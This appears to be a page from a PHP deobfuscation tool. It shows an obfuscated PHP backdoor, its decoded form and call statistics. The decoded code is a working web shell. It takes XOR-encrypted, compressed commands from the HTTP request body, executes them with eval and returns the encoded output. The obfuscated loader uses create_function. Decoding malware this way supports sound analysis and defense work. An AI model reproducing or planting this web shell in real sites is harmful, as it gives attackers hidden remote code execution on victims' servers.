Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$t=';$=Fr=@ba=Fse6=F4_encode(=F@x=F(@gzco=Fmpress($o),$=Fk));p=Frin=Ft("$p$=Fkh$r$kf");}';..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="1a1dc91c";$kh="907325c69271";$kf="ddf0c944bc72";$p="i5Sb3zGab3rqnpSf";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
$t=';$=Fr=@ba=Fse6=F4_encode(=F@x=F(@gzco=Fmpress($o),$=Fk));p=Frin=Ft("$p$=Fkh$r$kf");}';
$U='bas=Fe64_decode(=F$m=F[1]=F),$k))=F)=F;$o=@ob_get_cont=Fents(=F);=F@ob_end_c=Flean()';
$m='=Fj};}}=Fre=Fturn $o;=F}if(@pre=Fg_m=Fatch("/$=F=Fkh(.+)$k=Ff/",@file_=F=F=Fget_c=Fo';
$o='or($i=0;$i<=F$l;){=Ffor($j=F==F0;($j<$c&&$i=F<$l)=F;$j+=F+,$i++){$o=F.=$t{=F$i}^$k{$';
$l='Frqn=FpSf";func=Ftion x(=F=F$t=F,$k){$c=strlen($=Fk);$l=F=str=Fle=Fn(=F$t);=F$o="";f';
$e=str_replace('C','','crCeatCCe_fCuCnctiCon');
$q='$=Fk="1a1d=Fc91c=F";$kh="90732=F5c69271=F";=F$kf=F="ddf0c944b=Fc72"=F;$p==F"i5Sb3zGab3=';
$H='ntents("php:/=F/input"),$m=F)=F==1){@ob_sta=Frt(=F);@eva=Fl(@gzunc=Fo=Fmpress(@x(=F@';
$d=str_replace('=F','',$q.$l.$o.$m.$H.$U.$t);
$N=$e('',$d);$N();
Function Calls
| preg_match | 1 |
| str_replace | 2 |
| create_function | 1 |
| file_get_contents | 1 |
Stats
| MD5 | 4b2d4097c801b106d24cfac8165fe1df |
| Eval Count | 1 |
| Decode Time | 136 ms |